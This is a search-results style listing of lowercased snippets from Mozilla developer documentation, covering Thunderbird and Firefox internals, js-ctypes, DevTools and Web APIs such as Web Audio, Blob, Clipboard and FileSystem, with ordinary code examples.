...you only want this if your url is to a zip file or some file you want to download and make a nsiarraybufferinputstream out of it or something xhr.send(null); } xhr('https://www.gravatar.com/avatar/eb9895ade1bd6627e054429d1e18b576?s=24&d=identicon&r=pg&f=1', data => { services.prompt.alert(null, 'xhr success', data); var file = os.path.join(os.constants.path.desktopdir, "test.png"); var promised = os.file.writeatomic(file, new uint8array(data)); promised.then( function() { alert('succesfully saved image to desktop') }, function(ex) { alert('failed in saving image to desktop') } )...
nsIAbCard/Thunderbird3
<tt>ns_error_cannot_convert_data if the property cannot be converted to the desired type.
... <tt>ns_error_cannot_convert_data if the property cannot be converted to the desired type.
...if such a property is deleted, an error may be thrown when the card is modified at the database level.
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser from content javascript.
... (see using indexeddb for an overview.) however, the apis can also be accessed from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); // from here on, it's like using indexeddb from content var req = indexeddb.open("my-database"); // ...
...t indexeddb to be available in it, use the wantglobalproperties option in the sandbox constructor: var options = { "wantglobalproperties": ["indexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
Mozilla technologies
and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...these services include:viewing and searching mozilla source code onlinesource code for all mozilla projects hosted in the mercurial repositories can be searched and viewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e.
...the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
Test-Info
each task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component.
... data files are typically consumed by dashboards, like www.arewefissionyet.com.
...test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Autoconfiguration in Thunderbird
mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... ispdb database url is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g.
... current process: file a bug in bugzilla, product "webtools", component "ispdb database entries", with a configuration file that matches the requirements described below.
Creating a Custom Column
the following step through will get you well on the road to creating your own columns and populating them with custom data.
...unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it...
... window.addeventlistener("load", doonceloaded, false); function doonceloaded() { var observerservice = components.classes["@mozilla.org/observer-service;1"].getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "msgcreatedbview", false); } var createdbobserver = { // components.interfaces.nsiobserver observe: function(amsgfolder, atopic, adata) { addcustomcolumnhandler(); } } in this example we have a function addcustomcolumnhandler() that is called whenever the event is fired.
Thunderbird extensions
the gloda database thunderbird has a subsystem called gloda.
... gloda stands for « global database », and creates thunderbird-wide relations between objects.
... an overview of thunderbird components developer reference docs: folder classes db views (message list) message summary database mailnews protocols mailnews filters error reporting tools steel library (obsolete as of thunderbird 52, use https://github.com/protz/thunderbird-stdlib) developing new account types useful newsgroup discussions (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the past years ...
Using COM from js-ctypes
this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework.
...let void = ctypes.void_t; let ulong = ctypes.unsigned_long; let ushort = ctypes.unsigned_short; let wchar = ctypes.jschar; // advanced types - based on simple types let hresult = long; let lpcwstr = wchar.ptr; // guess types - these just work i couldnt find a proper defintion for it let lpunknown = ctypes.voidptr_t; // structures // simple structures let guid = ctypes.structtype('guid', [ { 'data1': ulong }, { 'data2': ushort }, { 'data3': ushort }, { 'data4': byte.array(8) } ]); // advanced structures let clsid = guid; let iid = guid; // super advanced structures let refiid = iid.ptr; let refclsid = clsid.ptr; // vtables let ispvoicevtbl = ctypes.structtype('ispvoicevtbl'); let ispvoice = ctypes.structtype('ispvoice', [{ 'lpvtbl': ispvoicevtbl.ptr }]); ispvoicevtbl.define([ ...
... makes it primative if (hr < 0) { console.error('hresult', hr, 'returned from function ', funcname /*, 'getstrofresult:', getstrofresult(hr)*/); throw new error('hresult ' + hr + ' returned from function ' + funcname); } } let clsidfromarr = iidfromarr = function(jsarr_pieces) { let guid = guid(); // clsid and iid are same they are guid guid.data1 = parseint(jsarr_pieces[0], 16); guid.data2 = parseint(jsarr_pieces[1], 16); guid.data3 = parseint(jsarr_pieces[2], 16); let j = 2; for (let i=0; i<8; i++) { j++; guid.data4[i] = parseint(jsarr_pieces[j], 16); }; return guid; } // constants let coinit_multithreaded = 0; let coinit_apartmentthreaded = 2; let clsctx_all = 0x17; let clsid_spvoice = clsidfr...
Declaring and Using Callbacks
in the ordinary case, invoking the type object creates a regular cdata object containing a pointer to the data.
...if you don't, the gc might collect the relevant data structures, and the browser will crash when native code attempts to invoke your callback.
...for arguments of complex types, temporary cdata objects will be created.
Using js-ctypes
on windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library from the core foundation framework like this: var corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use with the loaded library.
...instantiating c data objects and referencing them is covered in the article working with data.
...learn about the data types used here: data types.
Constants - Plugins
nperr_no_data 12 stream contains no data.
... result codes constant value description npres_done 0 (most common): completed normally; all data was sent to the instance.
... version feature constants npvers constant: version feature information value description npvers_has_streamoutput 8 streaming data.
Plug-in Side Plug-in API - Plugins
npp_newstream notifies a plug-in instance of a new data stream.
... npp_streamasfile provides a local file name for the data from a stream.
... npp_write delivers data to a plug-in instance.
Structures - Plugins
« previousnext » this chapter describes the data structures that are used to represent the various objects in the plug-in api.
... npsaveddata block of instance information saved after the plug-in is deleted; can be returned to the plug-in.
... npstream represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser.
Debugger.Source - Firefox Developer Tools
a debugger may place its own properties on debugger.source instances, to store metadata about particular pieces of source code.
... if a given piece of source code is presented to the javascript implementation more than once, with the same origin metadata, the javascript implementation may generate a fresh debugger.source instance to represent each presentation, or it may use a single debugger.source instance to represent them all.
... source metadata generated from file: js/src/doc/debugger/debugger.source.md watermark: sha256:5ca245813db96628aab1c78b803355eb2aa8c575839c67eb7d7bde177898df88 changeset: e91b2c85aacd ...
Network request list - Firefox Developer Tools
protocol: the network protocol used to transfer the data, this column is hidden by default.
... copy as curl the command may include the following options: -x [method] if the method is not get or post --data for url encoded request parameters --data-binary for multipart request parameters --http/version if the http version is not 1.1 -i if the method is head -h one for each request header.
...(starting in firefox 76) managing har data the har format enables you to export detailed information about network requests.
Flame Chart - Firefox Developer Tools
the call tree and the flame chart are both used to analyze your site's javascript, and they both use the same data: a sample of the javascript engine's stack, taken periodically during the recording.
... but while the call tree organizes this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing.
...the flame chart displays a lot of data, so to get readable results, it's usually necessary to zoom in.
Storage Inspector - Firefox Developer Tools
indexeddb — all indexeddb databases created by the page or any iframes inside the page, their object stores and the items stored in these object stores.
... under "cache storage", objects are organized by origin and then by the name of the cache: indexeddb objects are organized by origin, then by database name, then by object store name: with the cookies, local storage, and session storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin: you can click on each item in the tree to expand or collapse its children.
... table widget the table widget displays a list of all the items corresponding to the selected tree item (be it an origin, or database) are listed.
AddressErrors - Web APIs
try to avoid asking the user to make corrections to things they can't change, and there may be situations in which you need to allow validation errors to be accepted anyway (for example, if you validate addresses against a postal service database and a new home has been built and its address is not yet in the database).
... javascript payment request data first, we declare the variables supportedhandlers, which is compatible with paymentmethoddata, and defaultpaymentdetails, which is a paymentdetailsupdate object.
... let supportedhandlers = [ { supportedmethods: "basic-card", data: { supportednetworks: ["visa", "mastercard", "amex", "discover"], supportedtypes: ["credit", "debit"] } } ]; let defaultpaymentdetails = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; supportedhandlers describes the supported payment handlers and the details for those.
AudioBuffer.sampleRate - Web APIs
the samplerate property of the audiobuffer interface returns a float representing the sample rate, in samples per second, of the pcm data stored in the buffer.
... syntax var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); myarraybuffer.samplerate; value a floating-point value indicating the current sample rate of the buffers data, in samples per second.
... at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status comment web audio apithe definition of 'samplerate' ...
AudioBufferSourceNode.buffer - Web APIs
the buffer property of the audiobuffersourcenode interface provides the ability to play back audio using an audiobuffer as the source of the sound data.
... syntax audiobuffersourcenode.buffer = soundbuffer; value an audiobuffer which contains the data representing the sound which the node will play.
... var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
AudioBufferSourceNode.loop - Web APIs
when the time specified by the loopend property is reached, playback continues at the time specified by loopstart example in this example, the audiocontext.decodeaudiodata function is used to decode an audio track and put it into an audiobuffersourcenode.
... you can run the full example live (or view the source.) function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data"...
... + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } specification specification status comment web audio apithe definition of 'loop' in that specification.
AudioBufferSourceNode.loopEnd - Web APIs
example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode.
... function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; ...
... source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioBufferSourceNode.loopStart - Web APIs
example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track and put it into an audiobuffersourcenode.
... function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; songlength = buffer.duration; source.buffer = mybuffer; ...
... source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; loopstartcontrol.setattribute('max', math.floor(songlength)); loopendcontrol.setattribute('max', math.floor(songlength)); }, function(e){"error with decoding audio data" + e.err}); } request.send(); } ...
AudioBufferSourceNode.playbackRate - Web APIs
example in this example, the audiocontext.decodeaudiodata() function is used to decode an audio track, and put it into an audiobuffersourcenode.
... <input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbac...
...kcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalue.innerhtml = playbackcontrol.value; } specification specification status comment web audio apithe definition of 'play...
AudioContext.createMediaStreamDestination() - Web APIs
stopping the mediarecorder causes the dataavailable event to fire, and the event data is pushed into the chunks array.
... after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a url created from the blob.
...(dest.stream); osc.connect(dest); b.addeventlistener("click", function(e) { if (!clicked) { mediarecorder.start(); osc.start(0); e.target.innerhtml = "stop recording"; clicked = true; } else { mediarecorder.stop(); osc.stop(0); e.target.disabled = true; } }); mediarecorder.ondataavailable = function(evt) { // push each chunk (blobs) in an array chunks.push(evt.data); }; mediarecorder.onstop = function(evt) { // make blob out of our blobs, and open it.
AudioContext.getOutputTimestamp() - Web APIs
play.addeventlistener('click', () => { if(!audioctx) { audioctx = new window.audiocontext(); } getdata(); source.start(0); play.setattribute('disabled', 'disabled'); raf = requestanimationframe(outputtimestamps); }); stop.addeventlistener('click', () => { source.stop(0); play.removeattribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputtimestamps() { let ts = audioctx.getoutputtimestamp() console.log('context time: ' + ts.contextti...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AuthenticatorAssertionResponse.signature - Web APIs
the signature read-only property of the authenticatorassertionresponse interface is an arraybuffer object which is the signature of the authenticator for both authenticatorassertionresponse.authenticatordata and a sha-256 hash of the client data (authenticatorassertionresponse.clientdatajson).
... syntax signature = authenticatorassertionresponse.signature value an arraybuffer object which the signature of the authenticator (using its private key) for both authenticatorassertionresponse.authenticatordata and a sha-256 hash given by the client for its data (the challenge, the origin, etc.
... and available from authenticatorassertionresponse.clientdatajson).
AuthenticatorAttestationResponse - Web APIs
properties authenticatorattestationresponse.clientdatajson secure contextread only client data for the authentication, such as origin and challenge.
... the clientdatajson property is inherited from the authenticatorresponse.
... authenticatorattestationresponse.attestationobject secure contextread only an arraybuffer containing authenticator data and an attestation statement for a newly-created key pair.
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a new audiobuffersourcenode, which can be used to play audio data contained within an audiobuffer object.
... audiobuffers are created using baseaudiocontext.createbuffer or returned by baseaudiocontext.decodeaudiodata when it successfully decodes an audio track.
...r at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
BasicCardRequest - Web APIs
mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address).
... the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayitems: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
Blob() - Web APIs
WebAPIBlobBlob
options optional an optional object of type blobpropertybag which may specify any of the following properties: type optional the mime type of the data that will be stored into the blob.
... endings optional how to interpret newline characters (\n) within the contents, if the data is text.
... return value a new blob object containing the specified data.
Blob.slice() - Web APIs
WebAPIBlobslice
the blob interface's slice() method creates and returns a new blob object which contains data from a subset of the blob on which it's called.
...if you specify a value for start that is larger than the size of the source blob, the returned blob has size 0 and contains no data.
... return value a new blob object containing the specified subset of the data contained within the blob on which this method was called.
Blob.stream() - Web APIs
WebAPIBlobstream
the blob interface's stream() method returns a readablestream which upon reading returns the data contained within the blob.
... usage notes with stream() and the returned readablestream, you gain several interesting capabilities: call getreader() on the returned stream to get an object to use to read the data from the blob using methods such as the readablestreamdefaultreader interface's read() method.
... call the returned stream's pipeto() method to pipe the blob's data to a writable stream.
BlobEvent.timecode - Web APIs
the timecode readonlyinline property of the blobevent interface a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data, and the timestamp of the first chunk in the first blobevent produced by this recorder.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
the bluetoothremotegattcharacteristic.readvalue() method returns a promise that resolves to a dataview holding a duplicate of the value property if it is available and supported.
... syntax bluetoothremotegattcharacteristic.readvalue().then(function(dataview) { ...
... }) returns a promise that resolves to an dataview.
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service.
... interface interface bluetoothremotegattcharacteristic { readonly attribute bluetoothremotegattservice service; readonly attribute uuid uuid; readonly attribute bluetoothcharacteristicproperties properties; readonly attribute dataview?
... value; promise<bluetoothremotegattdescriptor> getdescriptor(bluetoothdescriptoruuid descriptor); promise<sequence<bluetoothremotegattdescriptor>> getdescriptors(optional bluetoothdescriptoruuid descriptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice this characteristic belongs to.
Body.json() - Web APIs
WebAPIBodyjson
syntax response.json().then(data => { // do something with your data }); parameters none.
...when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.
... const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }.
Body.text() - Web APIs
WebAPIBodytext
example in our fetch text example (run fetch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked.
... when getdata() is run, we create a new request using the request() constructor, then use it to fetch a specific .txt file.
... let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition o...
Clients.openWindow() - Web APIs
examples // send notification to os if applicable if (self.notification.permission === 'granted') { const notificationobject = { body: 'click here to view your messages.', data: { url: self.location.origin + '/some/path' }, // data: { url: 'http://example.com' }, }; self.registration.shownotification('you\'ve got messages!', notificationobject); } // notification click event listener self.addeventlistener('notificationclick', e => { // close the notification popout e.notification.close(); // get all the window clients e.waituntil(clients.matchall({ type...
...: 'window' }).then(clientsarr => { // if a window tab matching the targeted url already exists, focus that; const hadwindowtofocus = clientsarr.some(windowclient => windowclient.url === e.notification.data.url ?
... if (!hadwindowtofocus) clients.openwindow(e.notification.data.url).then(windowclient => windowclient ?
ClipboardEvent() - Web APIs
options optional options are as follows: clipboarddata: a datatransfer containing the data concerned by the clipboard event.
... datatype : a domstring containing the mime-type of the data contained in the data argument.
... data : a domstring containing the data concerned by the clipboard event.
ClipboardItem() - Web APIs
the clipboarditem() constructor of the clipboard api creates a new clipboarditem object which represents data to be stored or retrieved via the clipboard api, that is clipboard.write() and clipboard.read() respectively.
... syntax var clipboarditem = new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboardit...
Clipboard API - Web APIs
the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
... interfaces clipboard secure context provides an interface for reading and writing text and data to or from the system clipboard.
... clipboarditem secure context represents a single item format, used when reading or writing data.
Comment - Web APIs
WebAPIComment
" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436"...
... fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">comment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no specific property, but inherits those of its parent, characterdata, and indirectly those of node.
... methods this interface has no specific method, but inherits those of its parent, characterdata, and indirectly those of node.
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
syntax contentindex.add(contentdescription).then(...); parameters contentdescription the item registered is an object containing the following data: id: a unique string identifier.
... homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a url string of the source image.
...// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } the add method can also be used within the service worker scope.
CredentialsContainer.create() - Web APIs
the options are: password: optional either an htmlformelement, or a passwordcredentialdata object.
... tbd id: (required) usvstring inherited from credentialdata.
...the available options are: id: (required) usvstring inherited from credentialdata.
DelayNode() - Web APIs
the delaynode() constructor of the web audio api creates a new delaynode object with a delay-line; an audionode audio-processing module that causes a delay between the arrival of an input data, and its propagation to the output.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DeviceOrientationEvent.absolute - Web APIs
indicates whether or not the device is providing orientation data absolutely (that is, in reference to the earth's coordinate frame) or using some arbitrary frame determined by the device.
... see orientation and motion data explained for details.
... syntax var absolute = instanceofdeviceorientationevent.absolute; on return, absolute is true if the orientation data in instanceofdeviceorientationevent is provided as the difference between the earth's coordinate frame and the device's coordinate frame, or false if the orientation data is being provided in reference to some arbitrary, device-determined coordinate frame.
DragEvent() - Web APIs
although this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
... drageventinitoptional is a drageventinit dictionary, having the following fields: "datatransfer", optional and defaults to "null".
... the type is datatransfer.
Element: copy event - Web APIs
a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... however, the handler cannot read the clipboard data.
...v class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: paste event - Web APIs
a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
...g text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and ...
ExtendableMessageEvent - Web APIs
extendablemessageevent.data read only returns the event's data.
... it can be any data type.
... // in the page being controlled if (navigator.serviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.sou...
FileException - Web APIs
quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileList - Web APIs
WebAPIFileList
it's also used for a list of files dropped into web content when using the drag and drop api; see the datatransfer object for details on this usage.
... living standard browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystem - Web APIs
draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...ll support 7alternate name alternate name uses the non-standard name: domfilesystemedge full support ≤18prefixed notes full support ≤18prefixed notes prefixed implemented with the vendor prefix: webkitnotes edge only supports this api in drag-and-drop scenarios using the the datatransferitem.webkitgetasentry() method.
FileSystemDirectoryReader.readEntries() - Web APIs
first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntrySync - Web APIs
method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring tourl(); void remove() raises (fileexception); directoryentrysync getparent(); ...
... methods getmetadata() look up metadata about this entry.
... [ todo: specify what kind of metadata ] metadata getmetada () raises (fileexception); parameter none returns metadata exceptions this method can raise a fileexception with the following codes: exception description not_found_err the entry does not exist.
FileSystemFileEntry.file() - Web APIs
the filesystemfileentry interface's method file() returns a file object which can be used to read data from the file represented by the directory entry.
... browser compatibility the compatibility table on this page is generated from structured data.
